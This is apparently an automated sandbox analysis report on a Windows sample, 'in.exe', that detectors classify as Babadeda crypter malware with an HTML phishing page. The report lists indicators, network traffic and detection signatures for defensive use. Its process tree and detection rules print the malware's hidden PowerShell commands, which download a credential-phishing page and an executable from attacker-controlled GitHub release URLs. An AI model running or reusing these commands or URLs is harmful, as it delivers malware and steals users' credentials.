Edit tour

Windows Analysis Report
in.exe

Overview

General Information

Sample name:	in.exe
Analysis ID:	1574318
MD5:	9a68fc12ec201e077c5752baa0a3d24a
SHA1:	95bebb87d3da1e3ead215f9e8de2770539a4f1d6
SHA256:	b70922e48b9ae3e22fc28c3bf598785081bb34678c84ba11793dc7f70cacdc0f
Tags:	exeuser-JAMESWT_MHT
Infos:

Detection

Babadeda, HTMLPhisher

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Babadeda

Yara detected HtmlPhish7

AI detected suspicious Javascript

AI detected suspicious sample

Machine Learning detection for sample

Powershell drops PE file

Suspicious powershell command line found

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTML body contains low number of good links

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

None HTTPS page querying sensitive user data (password, username or email)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

in.exe (PID: 1968 cmdline: "C:\Users\user\Desktop\in.exe" MD5: 9A68FC12EC201E077C5752BAA0A3D24A)

cmd.exe (PID: 4956 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 348 cmdline: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6540 cmdline: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

chrome.exe (PID: 4676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\archive.htm MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=1948,i,14274306992639415631,1134065366431252784,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

svchost.exe (PID: 6548 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babadeda	According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.	No Attribution	https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities	https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
in.exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.in.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
0.2.in.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_HtmlPhish_7	Yara detected HtmlPhish_7	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", CommandLine: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", ProcessId: 348, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", CommandLine: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", ProcessId: 348, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", CommandLine: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm", ProcessId: 348, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6548, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\shost.exe

ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: in.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: in.exe

Joe Sandbox ML: detected

Phishing

Yara detected HtmlPhish7

Source: Yara match

File source: 1.0.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.1.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/AppData/Local/Temp/archive... This script appears to be a malicious phishing attempt. It contains several high-risk indicators:1. Dynamic code execution: The script uses `document.write()` to execute a decoded and deobfuscated PHP script that collects user email and password information.2. Data exfiltration: The script sends the collected user credentials to an external server.3. Obfuscated code: The script is heavily obfuscated using base64 encoding and `atob()` function, which is a common technique used to hide malicious intent.Overall, this script demonstrates clear malicious behavior and poses a high risk to users.

Source: file:///C:/Users/user/AppData/Local/Temp/archive.htm

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/AppData/Local/Temp/archive.htm

HTTP Parser: Title: Secure does not match URL

Source: file:///C:/Users/user/AppData/Local/Temp/archive.htm

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/AppData/Local/Temp/archive.htm

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/AppData/Local/Temp/archive.htm

HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/AppData/Local/Temp/archive.htm

HTTP Parser: No <meta name="copyright".. found

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\in.exe

Unpacked PE file: 0.2.in.exe.400000.0.unpack

Source: in.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49798 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:49707 version: TLS 1.2

Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.tmp	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\Local\Temp\CE69.tmp	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp	Jump to behavior

Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 20.233.83.145 20.233.83.145

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49798 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /homboz/arht/releases/download/seht/archive.htm/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/902358606/75664a52-6f1d-487c-8405-bd50bd05b580?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241213%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241213T073430Z&X-Amz-Expires=300&X-Amz-Signature=244a1def283b3b0ed21f333d00231cc1c5139c45fefb475dce2d18012f1a0d8a&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Darchive.htm&response-content-type=application%2Foctet-stream HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: objects.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /homboz/ucm1/releases/download/iu1/shost.exe/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/901249596/6d10bff7-1a14-49ca-b87f-abb64c71661e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241213%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241213T073439Z&X-Amz-Expires=300&X-Amz-Signature=9e7e9fdeeb69ae3a78254880b8ddecf25485e1943d087a656093b875693c9548&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dshost.exe&response-content-type=application%2Foctet-stream HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: objects.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bootstrap-social/assets/css/font-awesome.css HTTP/1.1Host: lipis.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/socket.io/1.7.1/socket.io.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.1.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap-social/assets/fonts/fontawesome-webfont.woff2?v=4.6.3 HTTP/1.1Host: lipis.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://lipis.github.io/bootstrap-social/assets/css/font-awesome.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.1.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/socket.io/1.7.1/socket.io.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: lipis.github.io
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: http://bestiejs.github.io/json3
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: http://blogs.msdn.com/b/ieinternals/archive/2010/05/13/xdomainrequest-restrictions-limitations-and-w
Source: svchost.exe, 00000008.00000002.4506552676.0000011F2E600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000002.4507307778.0000011F2E6EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000002.4506771578.0000011F2E661000.00000004.00000020.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000008.00000002.4506771578.0000011F2E6AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: chromecache_93.9.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_93.9.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: http://ghinda.net/jpeg-blob-ajax-android/
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: http://kit.mit-license.org
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: http://stackoverflow.com/a/16459606/376773
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: http://stackoverflow.com/a/398120/376773
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: http://stackoverflow.com/questions/13216903/get-binary-data-with-xmlhttprequest-in-a-firefox-extensi
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000008.00000003.2476307429.0000011F2E450000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: chromecache_92.9.dr, chromecache_91.9.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://github.com/Automattic/engine.io-client/pull/217
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://github.com/Automattic/has-binary/pull/4
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://github.com/Modernizr/Modernizr/blob/master/feature-detects/cors.js
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://github.com/ariya/phantomjs/issues/11395
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://github.com/facebook/react-native/pull/1632
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://github.com/niklasvh/base64-arraybuffer
Source: chromecache_92.9.dr, chromecache_91.9.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_92.9.dr, chromecache_91.9.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://github.com/yujiosaka/socke.io-ie8-loading-example
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://mths.be/punycode
Source: chromecache_88.9.dr, chromecache_96.9.dr	String found in binary or memory: https://mths.be/wtf8
Source: qmgr.db.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:49705 version: TLS 1.2
